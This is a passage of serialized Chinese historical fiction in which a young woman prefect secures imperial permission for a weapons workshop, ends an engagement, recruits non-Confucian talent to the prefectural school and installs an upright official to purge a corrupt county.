她会毫不犹豫选后者。 顾从斯,自然也看得出来。 所以他稍稍笑了下,像是笑自己接下来要说的话。 “如果退婚的话。” “铸造权的事,就不能成。” “我会竭尽全力阻止。” 顾从斯说完,直直看向苏清,果然从她眼中看到不敢置信。 她真的,以为自己是个好人。 还是那个刚从南江县离开,一心抱着忠君爱国念头的顾从斯。 但经历那么多事,他早就不是了。 想要得到自己想要的东西,需要不择手段。 苏清自然傻眼。 这还是她认识的那个人吗?! 他用什么来威胁?! 顾从斯他不知道,武器铸造权,对广乐府的重要性吗?! 苏清这样的人都有点发蒙。 大半年未见,顾从斯怎么能说出这种话。 苏清没再追问退婚的事,只道:“这一路上,你都经历了什么。” 原本还紧皱眉头的顾从斯眼睛微闭,又缓缓睁开:“莫要问了。” 越不让问,她越想知道啊。 能让一个品行正直的人,变得这般不择手段。 若非经历大变故,怎会如此。 苏清见他不说,又道:“既经历了那般事,就不该让广乐府也陷入此种境地。” 京城。 逃亡的路上。 金陵。 既然发生了让顾从斯都足以改变的事,可见非同一般。 这样的话,你忍心让广乐府也变成那样吗? 苏清开口:“广乐府,到底不同吧。” 自然不同。 否则冯侍郎不会那般满意,更不会那样快松口。 可他想挽回两人婚事,只能以铸造权做要挟。 这是苏清最看重的事。 她不会为自己一介婚约,而耽误正事。 顾从斯分明想继续威胁,苏清那边已经道:“你阻止不了冯侍郎的想法。” “虽说答应你,事情会更简单。” “但没必要。” “没有你,我照样能办成。” 所以她不介意顾家夫妇讲退婚的事告知。 也不大介意,此事会不会对铸造权有影响。 若因一个顾从斯,就把全盘计划毁了。 那她的筹谋,未免太脆弱了些。 苏清说的斩钉截铁,跟顾从斯直直对视。 过了不知多久,就听外面传来急报。 苏清对此格外熟悉,直接问道:“是军情?!” 云喜离开答:“是军情,依松县附近有小股叛军,跟驻军已经有交锋了!” “驻军阎协守急需盔甲武器!” 整个广乐府,都因这条军报惶恐不安。 原本的太平日子,好像被打破了一般。 叛军,怎么又是叛军。 皋青州恢复的这样快吗?! 依松县一带百姓恨不得日日烧香祈福。 不知是谁说了句:“咱们苏知府,正在求情本地铸造武器。” “若能造武器,就没那样担心了。” 这彷佛是救命稻草一般。 被无数人死死抓住。 他们本地有粮。 就差武器了。 还有些不服苏清的人,暗暗说什么。 都是她让囤粮,这才引来皋青州武勇王爷惦念。 如果不是她,说不定叛军还会等一等。 无论哪种想法。 但都同意一件事。 广乐府这种岌岌可危的地方,真的需要武器铸造权! 苏清经过片刻慌乱,急忙接过阎协守的文书,再看他对小股叛军的描述。 这些叛军。 似乎不是头一回来探察军情。 但却是阎协守头一回报上来,还请求物资支援。 苏清嘴角弯了弯,看向顾从斯:“你说,广乐府的铸造权,能拿到吗?” 这还用讲? 反正刚想歇息的冯侍郎急忙跑过来。 兵部右侍郎冯大人知道叛军是什么样子,京城被闯入之时,他也亲身经历。 此刻又听军报,长叹口气:“这天下间,到底什么时候能太平!” 这话谁也回答不了。 但能回答的,只有冯大人手中的圣旨。 在他们出发之时,皇上就已经写好密旨。 只要广乐府知府忠君,那武器铸造一事,就可立刻允准。 造好武器,方能支援京郊,方能早日回京! 苏清的那份奏章,比想象中有用的多。 顾从斯看着圣旨,显然并不意外。 只是没想到,会以这种方式拿出来。 而这封圣旨的作用,也意义非凡。 至少让广乐府上下,立刻稳住心神。 众人还没慌张多久,心就能放到肚子里。 太好了。 他们广乐府能自己造武器盔甲了。 不管外面如何变化,他们都能守住自己家乡,不让叛军再次进来。 苏知府深谋远虑,皇上也体察民情。 真是太好了。 “听说了吗,咱们广乐府,已经有武器铸造权了。” “真的?!钦差们不是刚来吗?” “当然是真的,皇上让他们带着密旨来的,只要苏知府通过考核,就会把圣旨拿出来。” “天啊,幸好是苏知府,幸好她是本地长官。” 众人兴奋当中,唯有顾从斯深深看着苏清。 退婚书依旧在他怀中。 这份他不愿承认的东西。 似乎要做真了。 密旨已经拿出来,冯侍郎也准备带着手下众人回金陵。 差事办完,还是赶紧回去吧。 顾从斯自然也在其中。 顾家夫妇泪流满面,却只能送他离开。 同样送行的苏清,就显得有些淡然。 这让冯侍郎最是尴尬。 不过他也听说了,两人已经退婚的消息。 好像是说,都已经到婚嫁年纪,两人性格也不合。 故而双方父母商议,便把婚事退了。 还真是可惜啊。 这两人看着还挺般配的? 顾从斯看着哭泣的爹娘,到底心软,开口道:“广乐府太平,在这里挺好。等时局稳些,孩儿就接爹娘过去。” 父母亲人之间,哪有什么真仇真怨。 苏清笑眯眯看着,就知道自己的决定十分正确。 “一路平安。” “希望京城早日夺回。” 冯侍郎呵呵笑:“这就要看总兵大人的了。” 只是京城易守难攻,兵马粮草充足。 叛军得手之后,是绝不可能轻易松懈的。 那边也一场场硬仗。 钦差一群人,来的快,走的也快。 还好留下好消息。 广乐府可以造武器盔甲了!!! 再看知府大人提前准备好的便宜场地,这还有什么好说的! 准备开工啊。 但制造武器这事,也不是轻易能做的。 如此有技术含量的差事,更需要人才。 好在皇上点头答应,便会拨调工匠。 苏清一边安排江工司修整武器作坊,一边等着工匠过来。 两处带了园子的宅子,前前后后二十间房,前院花园,各色小花园比比皆是。 把破旧的砖瓦清理干净,留下主体梁柱,就可以搭建厂房了。 依松县附近的叛军,让整个衙门都打起精神。 尤其是督建武器作坊工司,日夜派人看着,唯恐泥瓦匠们偷懒。 早建成一日,就能早日制造武器盔甲。 苏清也经常过去,想着看看施工进度。 美中不足的是,去武器作坊,就要路过府学,要是再碰到学政,那就更尴尬了。 由费秀才督促的生员考核,到底还是举行了。 原本四百多生员,最后只有一百零三人勉强合格,其他人全都被清退。 此事让学政面上无光,再加上调来顾从斯他爹过来,也没弄到预算,更是一层打击。 现在不仅知道,两人婚事告吹,又看着人数逐渐减少府学,对苏清更加不满。 可惜现在府城当中,也就他觉得不高兴。 其他官员大户乡绅见了苏知府,无一不巴结讨好。 说到底,只要能给他们这里带来好处,谁不愿意呢。 尤其是花家为首的本地世族,恨不得日日讨好。 原因自然跟即将建成的武器作坊有关。 这差事,不仅衙门工司兵司要负责。 更要跟本地大族合作。 毕竟府城北郊的武器作坊,只是武器的最后一站。 很多原材料,以及初级加工,必然还要再选合作的作坊。 为此花家大少爷跟二小姐明争暗斗多时。 但花家在这件事上,并未出全力,也让他家失了先机。 花老爷不知从哪知道,苏知府头一个找的,正是花景明,让他发了好一顿火。 花景明的大哥二姐也觉得莫名。 这么好的机会,为什么不抓住? 花景明本人也无奈,花家的情况,并不需要多努力。 但家里说他不为族里争取,好友明显不准备跟他联络。 怎么哪哪都受挫啊。 可他又不能找苏清抱怨,省得又被有心人记住。 听说叶山鸣最近跟苏清走的很近,明显想在这桩买卖上掺和一脚。 花景明表情不明,只当不知道。 武器作坊,确实牵扯甚多。 盔甲所需的生铁,皮革,好炭,以及各类特殊针线等等。 武器更不用讲,更需要大量生铁跟煤炭。 每一件事,都牵扯无数人的买卖。 为此,更多人主动上门。 衙门户司,工司,兵司,罗主簿等人,一一核查,若有考虑的货商,自然愿意合作。 挑来挑去,自然还是绕不开花家。 最后选了花又菱负责的广右县,来加工各类铁矿,炼制好的铁料再送到府城北郊武器作坊。 其他各项买卖,也各有人户负责。 叶山鸣跑前跑后,也拿到针线布料相关的买卖。 敲定之后,他便启程回江南,说是不会让苏清失望,必然弄来做好的料子。 看来,这是打算做长久买卖。 只是他走之前,再次问道:“苏知府,你跟顾从斯的婚约,真的没了?” 叶山鸣笑的太过开心,让费秀才祝书吏都不想多看。 主要跟花景明顾从斯比。 叶山鸣不要太开心。 既吃下徐家的份额,又做成粮食买卖。 还能在武器作坊上掺和一手。 当然,最让他觉得兴奋的,还是终于看到苏清跟顾从斯退婚了! 他早说过! 两人不合适。 跟着他过来的掌柜忍不住吐槽:“大公子,您高兴有些过头。” 叶山鸣扇着扇子:“你不懂,这证明我眼光准。” 掌柜没揭穿,一味给他递缰绳。 这回去不能坐船,只能骑马,还是赶紧走吧。 要掌柜的看,你们两个也不合适。 主要是苏知府对你,根本没那想法。 或者说,苏知府对谁都没想法。 她满脑子都是武器作坊。 已经十月份了。 她着急招揽各路匠人,好让作坊早日开工。 叶山鸣道:“回了扬州,我帮她好好找找,尽量在年前就送人过来。” 正说着,一队人马疾驰而来。 已经离开的叶山鸣不知道,这队人马,正是苏清需要的武器匠人。 他们收到总兵晏铮州的信件,特来投奔。 45-50 第46章 永晟三年,十月十六。 苏清安顿好前来投奔的十几个武器匠人。 为此,她还专门写信,感谢总兵晏铮州。 自她想建武器作坊开始,便四处托关系。 没想到,还是这位总兵靠谱。 恰到好处的叛军来袭。 再有说来就来的武器匠人。 若再不感谢总兵,那也太没良心了。 苏清甚至明白,太后跟皇上,为什么那么喜欢用总兵了? 长得不是一般的帅,还这样贴心。 确实很好用。 只是晏铮州若听了这话,大概会讲,不是谁他都会帮的。 再者,这也不是帮苏清,而是帮顺昌国。 他很相信苏知府的能力,可以把武器作坊建的很好,缓解战事压力。 可惜晏铮州知道,被他派来的匠人们,却心存疑虑。 他们都是经验丰富的老工匠,对武器要求极高,自然对作坊众人极为挑剔。 若是遇到不懂行的上司,双方必然能吵起来。 这次被派来的地方,上司不仅不懂行,甚至是个女的。 女的能懂武器吗? 女的懂什么技术吗? 这不是胡闹吗。 若不是知道,自她当了此地知府后,本地百姓日子过的好了些。 他们才不会过来。 即使是总兵开口,他们也不会来的。 尤其是进入广乐府府城,方知此地的不同。 跟顺昌国其他地方不一样的,这里治安格外好,日夜都有差役捕快巡视。 还未到广乐府府城,便有士兵在附近巡逻。 据说下面各县也是这般。 这般日夜巡查,自然给顺昌国带来难得的净土。 身处其中的百姓,或许很难发现。 但从外面到此的人,感受颇深。 不过作为军营的老匠人,深知这样的巡查,对本地物资消耗来说,是不小的压力。 多数长官,并不会选这种费力不讨好的做法。 故而去见苏清时候,难免多几分打量。 以窦嘉庆窦工匠为首,几个五十多的老头进到府衙,初次拜见苏知府时,只见不过十八的女子,眉目舒展,长相姣好。 可她身穿四品官服,气势压人,却又不显得居高临下,只让人明白,她心有沟壑,不是能轻易糊弄的。 苏清笑着赐座,又让人安排吃食住所。 等他们歇息的差不多了,也不多废话,便请窦工匠等人去武器作坊看看。 苏清带着他们过去,一一介绍道:“这是工司寻来的武器作坊图纸,按照京郊大营的作坊建造。” “从这里走,有两处水源。” “此地用来做库房,此地建造高炉,不过诸位没来,大家不敢擅动。” 一趟下来,窦工匠等人发现,武器作坊把该建的都建了,带些技术含量的则空置,只等他们来安排。 大白话就是,该做的都做了。 剩下的,就交给懂技术的人。 苏清也直言:“我们只能做些辅助差事,如何造武器盔甲,还是听诸位的。” “不过提前也说明了,还有一批工匠下个月会过来。” “不论是哪里来的匠人,只要有真本事,广乐府都不会亏待。” “怎么造,造什么样的武器盔甲,我都不会过问。” “只一点,不能浪费材料,不能粗制滥造。这是士兵们最后的保障,也是将士们打胜仗的关键。” “若有人在这上面动手脚,就别怪广乐府不讲人情。无论是谁请来的匠人,轻则坐牢,重则人头落地。” 一番话说完,这些匠人们还好,找来做事的小厮伙计们冷汗直冒。 苏知府说的简单。 她不管如何生产,只管质量跟用料。 做的不好,就坐牢。 哪有这么严苛的。 反观窦工匠等人难掩笑意。 不错,武器作坊,就该如此严苛的。 别说里面管事,任何一个做工的,都要以军规来管。 来往必须严苛,既是防止夹带,也是防止内外勾连,惹出祸事。 苏知府上来就立下规矩,反而是好事。 总比出了事之后,再补救的好。 怪不得总兵大人让他们过来。 苏知府也没辜负总兵的信任。 或许是觉得这还不够,苏清又找连千总要来几个因战事伤残的兵将,专门负责监督。 更把一条条规矩写的清清楚楚,每个人都要牢记于心。 跟武器作坊合作的各家也是叫苦不迭。 本以为是好差事。 谁能想到里面规矩这样多。 这块肥肉,真的没那么好啃。 即便如此,还是有很多人愿意跟府衙合作。 毕竟人家确实讲规矩,也有利润可拿。 更相信苏知府的人品,知道若是有什么不妥当的,人家不会以权压人。 等到叶山鸣寻来的工匠过来,广乐府武器作坊已然运转良好。 只要等到材料全部到来,就能制造第一批武器装备。 苏清自然没有因为后世的经验,就对武器作坊指手画脚。 作坊刚开,需要的是稳步运营,等到时机成熟,再看看她脑子里那些想法可不可行。 其他人自然不是苏清的计划。 但军中阎协守等人,明显对她感激万分。 看看人家,该给的粮饷,一分钱也不少。 冬衣的案子,也是她插手去管。 现在连盔甲武器,都提前准备。 这让驻守在依松县的将士们格外安心。 因为他们知道,自家不是孤零零守在此地。 背后有着一府百姓支撑他们。 背后有苏知府这样的官员,在做后勤差事。 本就对苏清格外有好感的军队,如今更是信任无比。 还好是苏清做知府。 换做别人,哪能这般安心啊。 可惜外面再怎么夸,府衙户司这边,还是垂头丧气。 为什么? 因为穷啊。 之前就算过账的。 今年税收七十六万两,每月驻军支出就在三万九。 各地建粮仓,囤粮不说。 现在武器作坊的投入,更是堪称夸张。 即使工司江主事尽力节省。 但前期的费用实在太多。 眼看着一批批工料进入作坊,同时也是欠下一笔笔银子。 而苏清的意见是:“能欠就欠,先不给他们。” 不管是花家还是叶家,都比他们府衙有钱! 所以在武器没做出来之前,工料先不给。 “不过工匠伙计们的俸禄要及时发放。”苏清强调,“还有日常伙食,不可马虎。” 邬户司听令,最后还是吞吞吐吐道:“那咱们的银钱也不够用。” 她早就算过账了。 再怎么节省,银子也只能用到明年三月。 三月之后,不管是军中的粮饷,还是武器作坊的维系,都会变得极为艰难。 虽说现在才十一月,但凡事未雨绸缪的好。 邬户司说完,就见苏知府笑了下,拍拍她肩膀道:“放心吧,到那时候,肯定会有钱的。” 为何? 是因为南江县年底还有一批卖药材的银子入账吗? 自然不止。 苏清看了看武器作坊。 如此乱世。 还有什么,能比卖武器更赚钱? 不说依松县驻军,只讲外面各地守备军,以及京郊攻城军队。 想要质量上乘的武器,也只有他们广乐府可选。 再说了,有了这东西,该担心的,不应该是他们吧? 可惜这些话说出去,显得她建武器作坊的想法,实在是居心不良,只是对户司承诺。 等第一批武器造出来。 他们广乐府真的不会缺钱的! 苏清信心十足,连带着手下众人,都看起来神采奕奕。 而她也终于能抽出时间,去见一个人了。 苏清对费开宇道:“学政最近可得闲?” 此话一出,费秀才立刻道:“大人放心,我绝对不会让他打扰您的!” 今年官学预算极少。 又裁去那么多生员。 找来顾家夫妇也没什么用,学政其实还不死心。 但费秀才严防死守,绝对不让学政靠近。 省得天天要钱啊。 没听邬户司说吗,他们衙门真的很缺银子。 没想到苏知府这次说的,竟然是旁的话:“他要是有空的话,可以来书房坐坐。” “就说我抽出时间,可以聊府学的事了。” 聊什么? 府学? 咱们没钱啊! 祝书吏也道:“大人,您要给他银子吗?” 自然不是。 她穷的叮当响,衙门银子都投到武器作坊了。 谁有功夫给他们银子。 但那府学送走两百多生员,岂不是空出来了。 倒是可以招些其他学生。 府学学政高高兴兴跑过来。 要说这位学政,正是跟前知府赵大人一起来的广乐府。 来之前肯定是百般不乐意。 不是说这地方出不了科举人才,而是那皋青州虎视眈眈,谁去谁有麻烦。 所以赵大人走的时候,王学政同样想离开。 只是没有第二个冤大头愿意接手啊。 不对,按照现在的情况来看,没有第二个能臣可以接手。 实在走不了,那就算了。 王学政想的开。 既然长官如此有能力,他也能蹭点好处。 眼看各地乃至军中,都被苏知府一一安抚。 整个广乐府变得截然不同。 他们府学则是最倒霉的那个。 要钱,没他们的份。 要整治,倒是次次不拉。 尤其是清理生员,还真是不手软。 其中一些生员,曾经还笑话过顾从斯,说他夫纲不振,有个当县令的未婚妻。 现在怎么着,苏知府直接把你们清出去! 虽有秀才之名,但绝不是府学生员了。 当然了,苏知府可能都不知道他们是谁,也不知道他们说过这些话。 反正搞来搞去,他手底下学生越来越少。 哪里像府学学政。 所以他找准机会,就要见知府大人。 给府学拨点银子吧! 皇上很重视科举人才的! 现在苏清来喊,他恨不得跑过去。 王学政没想到,苏知府这次喊他,还真跟府学相关。 不过苏知府直接道:“府学空出二百多个生员位置,也不好浪费。” “想着年后再招些学生。” “只是这儒学生,已经够多了。” “其他二百多生员,只招出儒家之外的诸子百家。” “武学兵家,墨子庄子。” “广乐府府学,统统都要。” 第47章 王学政满脸不解。 什么? 儒生太多。 但如今科举,考的就是儒学啊,考的就是四书五经啊。 好好的府学,不招儒生,招其他的? 这话传到皇上耳朵里,皇上也不会高兴的吧。 人人都知道,皇上重视的,正是科举。 苏清听此,明显早有准备:“科举是为了什么?” 王学政虽疑惑,却答道:“自然是选拔人才,报效朝廷。” 这个回答对与否,苏清不做评价,只道:“只有儒学方有人才吗?” 这自然不是。 虽说朝廷以儒学为主,但各种经义,同样重要。 不过科举不考,大家也就不学了。 作为本地学政,王学政并非是个死读书的人。 苏清点头:“是啊,既然诸子百家都有人才,为何只挑一家。” “我等只想为皇上选出人才,何必拘泥哪一家的。” 这话要是那些大儒听了。 必要狠狠骂一顿的。 苏清明显知道学政的想法,笑着道:“那些老学究们骂的话,我都记着呢。” 什么意思?! 你是为了报复那些骂你的儒生?! 金陵那边确实有个大儒骂的最厉害,世人皆知。 苏清却道:“债多不怕愁,我不差这一点。” 你尽管招人,反正我不怕挨骂。 见王学政还在犹豫,苏清道:“都说不拘一格降人才,倘若真找到英才,岂不是正是皇上所需要的。到时候举荐到金陵,又是一桩美谈。” 说白了,注重科举是为什么了? 为了人才啊。 既然目的都是为了人才,何必管他学的是什么。 黑猫白猫,能抓到老鼠的都是好猫。 这么说,好像也没错? 王学政斟酌半天,苏清也不着急,让他慢慢想即可。 到底是让府学维持现状,还是另寻机会。 苏清相信,他会做出正确的选择。 果然,苏清手头第一份公务还没处理完。 王学政便道:“下官听苏大人吩咐。” “现在就去写贴子,广纳天下英才。” 写贴子? 苏清没放过这个含糊的说法,立刻问道:“给谁写贴子?” 王学政一顿,脸上浮现尴尬。 这都被抓住了吗? 他说还是不说啊。 苏清静静等着,明显不着急。 王学政擦擦头上的汗,想到苏清的为人,其实说了应该也无妨。 这么想着,王学政老实交代:“下官想给一个老友写信,他本在京城开馆授徒,有几个得意门生。” “京城兵变,他跟他的学生们,也跟着逃了出来,如今流离失所,没个定数。” “我那老友是陇西墨家传人,虽说不惧吃苦,更不怕磨炼意志。” “但若有个地方潜心修学,自然是好的。” 以前没机会就算了。 现在知府都主动提起,他肯定要帮帮忙啊。 苏清听他介绍,点头道:“若有真才实学,尽管来便是。” 王学政本来还想偷偷摸摸干这事,现在却能光明正大让好友进来了。 王学政又打起精神:“我还有一个好友,乡试时的同年,他一手好书画。” “不行。”苏清婉拒,“暂时不行。” “府衙暂时养不起那么多人。” 这两者一问,王学政就知道苏知府的意思。 只求实用,不求其他。 苏清也不瞒着:“所有人来府学,必须经过考试,不重经义,只求实用。” 这样可以杜绝许多滥竽充数的人。 虽说还有这层考验。 但广乐府的消息一经发出,便有无数人动身前往。 如今这世道,怀才不遇的,有志无时的,可以说比比皆是。 想找个靠谱的上司,比登天都难。 即便是英雄也有家人老小,也要养家糊口。 听闻广乐府府学什么人才都要,无论真假,都要来试一试的。 尤其是广乐府周边的州府,不少人听说这件事,便立刻动身。 兵家法家墨家庄子,人家都要的。 当然,最吸引他们的,还是广乐府治安好些,官员也比一般地方清明。 自然吸引大家前去。 王学政看着前来舞枪弄棒的“人才”,以及口口声声说自己会造登云梯的江湖骗子,忍不住长叹口气。 这哪里还是府学,分明是大杂院啊。 但有真才实学的也不少。 甚至还有官途不顺的举人,投靠无门的大力士等等。 这里面的筛选,就交给王学政跟费秀才。 只要有真本事,就能在府学混口饭吃。 当然后续的发展如何,也看本事了。 人选挑选不能一蹴而就,苏清并不着急。 倒是总兵晏铮州突然来信。 信里依旧感谢她为依松县驻军做的贡献,以及及时发放的粮饷云云。 后面倒是“不经意”提起人才招揽之事,说此事金陵已然关注。 旁的没讲,但隐隐有警告的意思。 囤粮。 制造兵器。 还招揽人才。 谁看了都要吃一惊。 也就是广乐府知府是个女子,倘若换成男人,金陵那边反应只会更大。 只有晏铮州察觉不对劲,第一时间写信过来。 反而是顾从斯那边的消息,则显得荒唐许多。 金陵那边确实对她有意见。 但多数人认为,她招除儒学之外的人才进府学,只是为了报复。 报复什么? 如王学政所说。 难道是苏清还在记恨骂她的鲁地大儒?! 所以故意不招儒学学生,以此报复? 顾从斯听到这话后,立刻推波助澜。 他虽然不知道苏清的用意,但这种话反而很好的掩饰。 他更知道,苏清不会介意他这样做,说不定,还会夸赞。 果然,苏清确实回信。 这种说法不错,她欣然接受,她就是个小肚鸡肠的人。 招揽人才,完全没有别的想法。 就是为了气气这些大儒。 此言一出,对苏清不满的人更多,但招揽人才的事,却进行的格外顺利。 只是十一月十二这里,府学出现一个极其不同的人。 这人衣着破旧,面色苍白,年纪至少四十朝上。 他来到府学,竟然也想报名,想来官学拿个生员名额。 费开宇见他谈吐不凡,开口问道:“敢问老先生,是哪里人士,哪一年的秀才。” 这人更加尴尬,手里的履历不好意思拿出来。 费开宇机灵,带着老先生走到一旁,双手接过履历。 “河永三年中秀才,河永十年为举人,河永乡十六年为进士?!” 费开宇越往后看,整个人越懵,连忙行礼道:“原来是进士老爷。” 再看履历上的官职。 原山阳府某地县令,后升户司,再后被贬官。 从五年前开始,一直赋闲到现在。 疯了吧。 这样的人,也需要到广乐府寻个生员名额,好吃这里的俸禄? 怎么可能。 这位可是进士老爷啊。 但凡考上举人,便已经是登天了。 何况进士。 费开宇不好直接问其原因,只是单独安排了住处,立刻去找苏大人禀告。 眼见费秀才一路小跑过来,苏清便问怎么回事。 知道竟有进士投奔时,苏清也吃了一惊,随后道:“请杜大人过来。” 户司老杜在官场上时间长,消息也灵通。 随后又让武捕头帮忙打听这位崔刚捷崔进士的身份是真是假。 老杜过来后,一听崔刚捷的名字,立刻道:“大人不必问了,如果是他的话,那也不奇怪。” 崔刚捷这个名字,官场上很多人都不陌生。 甚至梅娘都听夫君念叨过。 他出身贫苦,三十六岁考上进士,外派出去做县令,本来以为前途坦荡。 他任职期间,各项差事都做的不错,故而任期一满便去了府城做事。 没想到的是,任职的山阳府府城里,有他一个同乡,还是他们老家的大族子弟。 本以为都是一个地方的人,相互彼此照应。 没想到这位只把崔刚捷当手下使唤,呼来喝去犹如仆从。 这也就算了。 岂料那大族子弟在任上贪钱,还被抓住把柄。 慌乱之间,他就把罪责全都推到崔刚捷身上。 当时山阳府众人,无一不知崔刚捷的冤枉。 但哪又怎么样。 大族子弟又是托人,又是使钱,最后都推到这个倒霉蛋身上。 崔刚捷被罢官之后,本来打算回乡教书。 可得罪了本地大族,一家老小都被欺负,只能携家带口去其他地方。 好在有个同年正需要幕僚,便请他过去帮忙。 岂料那同年在叛军入城时,跟着武勇王爷跑了。 崔刚捷即使不跟着,但其他人也不敢用他,老家那边也回不去。 苏清听完,难免有些傻眼。 人可以倒霉,却也不能这样倒霉吧?! 怪不得让一个进士老爷,都磨的没有脾气,甚至愿意来领生员的份例。 也是,谁经历了这些,还能淡然自若啊。 能有这般心态,已经很好了。 不过苏清对里面的故事,还是有些疑虑,必须请崔大人解释才行。 崔刚捷被请到府衙时,颇有些不自在。 苏清的话让他更不知道如何回答。 “大族子弟,只是让大人您背锅吗?没有旁的事情?” 在场费秀才,祝书吏都吃了一惊。 反观崔刚捷依旧脸色苍白,但没什么情绪波动,他也不瞒着,点头道:“被查出来的账目出自我手。” 大族子弟经常让他办差。 其中就有中饱私囊贪污受贿的差事。 崔刚捷故意留了空子让人抓到。 所以这个大族才不让他们留在家乡,用尽方法也要把崔刚捷一家赶走。 肯定是恨极了的。 若不是崔刚捷还有官身,又名声在外,只怕小命都保不住。 而其他人不肯让他做官,也是怕他再捅出篓子。 听到这,苏清才觉得逻辑通畅。 “进府学,肯定是不成的,您已经是进士,说出去都不好听。”苏清继续道,“但南江县有一县令的职位,想让您去顶缺。” 县令?! 崔刚捷震惊,本就苍白的脸色,现在更白了:“大人,您不要框我。” 苏清对祝书吏道:“找出镇龙县的文书,魏吏司交过来的那份。” 苏清刚来那会,就让手底下魏吏司清查各县。 有些地方听令,该收拾恶霸乡绅,便顺势收拾。 有些不听令磨洋工。 还有些干脆跟当地沆瀣一气。 镇龙县县令就是如此。 苏清早就想把他换了。 但苦于手底下没人,而且还找不到一个心智坚毅,敢于抗争的官员。 崔刚捷的到来,解决她心腹大患。 苏清直接把镇龙县的情况同他看了:“从秋收开始,便帮着本地大户瞒报。” “期间人口买卖,倒卖公粮,罪无可恕。” “我想派你过去,扫一扫此地风气。” “只是这事也有危险,想好再回答。” 崔刚捷到底进士出身,也做过县令,很快就把文书看完,气得脸都红了。 怎么可以这样。 百姓生计已经十分艰难,为何还要强征他们的粮,只为献给知府?! 镇龙县的情况,看着不错,今年纳粮也属中等。 但前面也说了,这地方县令帮着大户瞒报,理应纳粮减少才是。 那多纳的粮是哪来的? 自然是从百姓家中强征的。 “富者更富,穷者更穷,岂有此理。”崔刚捷气得吐血,不假思索道,“即便拼上属下这条命,下官也要把他们绳之以法。” 苏清眼神带着欣赏,她要的,正是这样的官员。 “先别拼命。”苏清道,“你家人孩子暂且留在府衙住,也能保障他们的安全。” “我再给你派几个书吏差役,做好万千准备,直接拿人。” 崔刚捷听着安排,整个人明显活过来一般。 另一边,家人孩子都被梅娘接到府中,全家终于吃了顿饱饭。 崔刚捷精神大振,把镇龙县所有文书全都搬到房间里,仔仔细细研读。 罗主簿心腹书吏,武捕头靠谱差役,也到他身边听令。 等他准备好了,就能去赴任了。 安置好崔刚捷一家,费开宇差点蹦起来。 他终于明白了! 怪不得各县的情况,大人只是看一看。 原来早就记在心里。 如今一切都稳固了,甚至武器作坊都要开工。 这才真正朝下面动刀。 府学招人才,为的也是这个? 是啊,但凡没有武器作坊,但凡知府位置没这样稳固。 清理下面官员的事,就办不成。 苏大人脑子到底怎么长的? 这哪是走一步看十步。 分明是走一步看一百步啊! 可想而知,等越来越多人才过来,那下面各县的官吏,谁不提起精神? 倘若不听话,又或者不老实的,统统会被换掉。 神出鬼没的吏司魏大人也难得出现,还跟崔刚捷深聊许久。 等十一月二十五,崔大人带着数十书吏差役,骑马前往镇龙县。 能不能给当地百姓讨回公道,就看他的了。 要是能做到,那县令位置就是他的。 做不到,只能回来了。 好歹是进士,说不定可以教教书。 崔刚捷不知道,知府都把他退路想好了。 但在他看来,此次不成功不便成仁。 他郁郁不得志多年,能得苏大人信任,必然要做出些事的。 而且他很清楚,就算自己死在这事上,妻儿老小也有人照顾。 这话也没错,崔刚捷出发第二日,他家两个孩子就跟着苏澄一起去私塾读书。 那夫子也是有名望的老师,教孩子很有一手。 崔刚捷出现在镇龙县时,如今的县令还不知道怎么回事。 以为又是知府派人巡查。 但接下来的事,却让镇龙县,乃至广乐府各地都为之侧目。 不到半个月时间,上百苦主,数十冤假错案,六条人命,全都被查的一清二楚。 当地豪绅大户以及如今的县令,自然不服,暗派人手刺杀。 可崔刚捷这边早有准备,并且能调附近守备将士。 等到腊月十二,这些为祸一方的恶霸,终于绳之以法。 崔刚捷身上还吃了两刀,好在性命无忧。 崔刚捷直接在镇龙县衙门住下,苏知府的任命随即而来。 并且告知众人,她已表奏金陵吏部,崔大人便是此地县令了。 这番流畅的操作,看呆很多人。 若还不明白发生什么,他们也就白活了! 苏清这手段,一个比一个厉害。 有这镇龙县先例在前,谁还敢懈怠? 而崔刚捷的任命,给了更多不得志官员信心。 若是个一心为民,没有门路的,现在门路不就来了? 在苏清手底下做事,还是有希望的。 广乐府府学广纳人才,本来褒贬不一。 有了崔刚捷这件事后,风评直接反转。 若不是已经到了冬天,估计来投奔的人只会更多。 即便如此,苏清也接连见了十好几人,皆是经过府学学政,费秀才见过,这才推到她面前的。 就连王学政的老友,跟老友子弟们,也已经到了广乐府。 也就是府学腾出来了,否则都不够大家住的。 崔刚捷倒是亲自把家人接到镇龙县衙门,走之前连连拜谢苏清苏大人。 说大人再造之恩,也不为过。 毕竟知府大人早就把罪证准备好了,甚至人手也备下。 换了谁来,都能做成这事。 当然了,那些人大概率没他胆子大,也没他不怕死。 不管怎么说,苏知府都在短短时间内,改变了他的生活,甚至他的命运。 这份恩情,他会永远记在心里。 苏清笑道:“既如此,就好好对百姓即可。” “镇龙县的发展,就交给你了。” 刚当上进士的时候,崔刚捷就能治理好地方。 经过这么多年的坎坷经历,自不用讲。 有他在,苏清也就能放心一点。 送走崔大人,苏清还有人要见。 赶在过年之前,把靠谱的人安插在下面各县。 尤其是江北县,江五县,尚口县,依松县四地。 真不能任由他们摆烂。 作为直面皋青州的最前线,必须守好才行。 苏清跟祝书吏,天不亮就起来,一口气忙到晚上。 外面下雪了都不知道,一件件公文处理完,已经到腊月二十五。 即便如此,衙门众人还不能歇息。 因为武器作坊那边,所有材料已经备齐,图纸也很成熟。 只等苏清检查。 确认无误后,武器作坊就能暂时休息,等年后开工。 苏清过去的时候,见作坊周围一片肃静,又见里面伙计小厮差役皆认真细致,问道:“这是谁负责的,做的不错。” 管这些伙计小厮的刘管事立刻上来。 这才知道,他也是被府学吸引过来的人,他定要说自己很会管人,以前在哪哪家做过管家。 不过京城那家逃跑的时候,没带上他们,所以没地方去。 王学政想把他赶走,倒是过去的吏司魏大人说武器作坊缺个专管人的。 等查清这管家的身份之后,知道他家世清白,便就让他先试试。 没想到确实做的不错。 苏清点点头,又夸了句,就见工司江主事迎过来。 虽是大冬天,但武器作坊巨大的锅炉让他满头是汗。 从南江县带出来的江主事跟苏清自然不客气,直接道:“大人快来,就等你了。” 江主事也不顾头上的汗,兴奋道:“有窦工匠他们,实在太省事了,他们对武器制造流程极为熟悉。” “年后立刻就能动工。” 苏大人催的急。 窦工匠们嘴上骂骂咧咧,但还真动手。 主要是窦工匠等人在此地时间久了,必然知道苏清在南江县是怎么照顾伤兵,怎么做后勤的。 军中出身的人,很难对苏清产生恶感。 再者,苏知府催促归催促,各项材料她也预备的极快。 他们这的办事速度,堪称一绝。 